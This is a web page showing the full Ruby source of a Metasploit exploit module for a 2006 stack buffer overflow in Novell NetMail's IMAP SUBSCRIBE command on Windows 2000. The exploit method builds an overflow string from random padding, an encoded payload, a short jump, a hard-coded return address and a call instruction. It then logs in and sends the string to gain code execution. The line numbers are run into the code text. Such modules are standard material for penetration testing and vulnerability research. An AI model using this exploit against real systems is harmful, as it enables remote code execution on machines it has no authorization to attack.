Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/imap/novell_netmail_subscribe.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Imap910def initialize(info = {})11super(update_info(info,12'Name' => 'Novell NetMail IMAP SUBSCRIBE Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP SUBSCRIBE15verb. By sending an overly long string, an attacker can overwrite the16buffer and control program execution.17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2006-6761' ],23[ 'OSVDB', '31360' ],24[ 'BID', '21728' ],25[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=454' ],26],27'Privileged' => true,28'DefaultOptions' =>29{30'EXITFUNC' => 'thread',31},32'Payload' =>33{34'Space' => 500,35'BadChars' => "\x00\x0a\x0d\x20",36'StackAdjustment' => -3500,37},38'Platform' => 'win',39'Targets' =>40[41['Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 }],42],43'DefaultTarget' => 0,44'DisclosureDate' => '2006-12-23'))4546end4748def exploit49sploit = "a002 SUBSCRIBE #" + rand_text_english(1602) + payload.encoded50sploit << "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V')51sploit << [0xe8, -485].pack('CV') + rand_text_english(150)5253info = connect_login5455if (info == true)56print_status("Trying target #{target.name}...")57sock.put(sploit + "\r\n")58else59print_status("Not falling through with exploit")60end6162handler63disconnect64end65end666768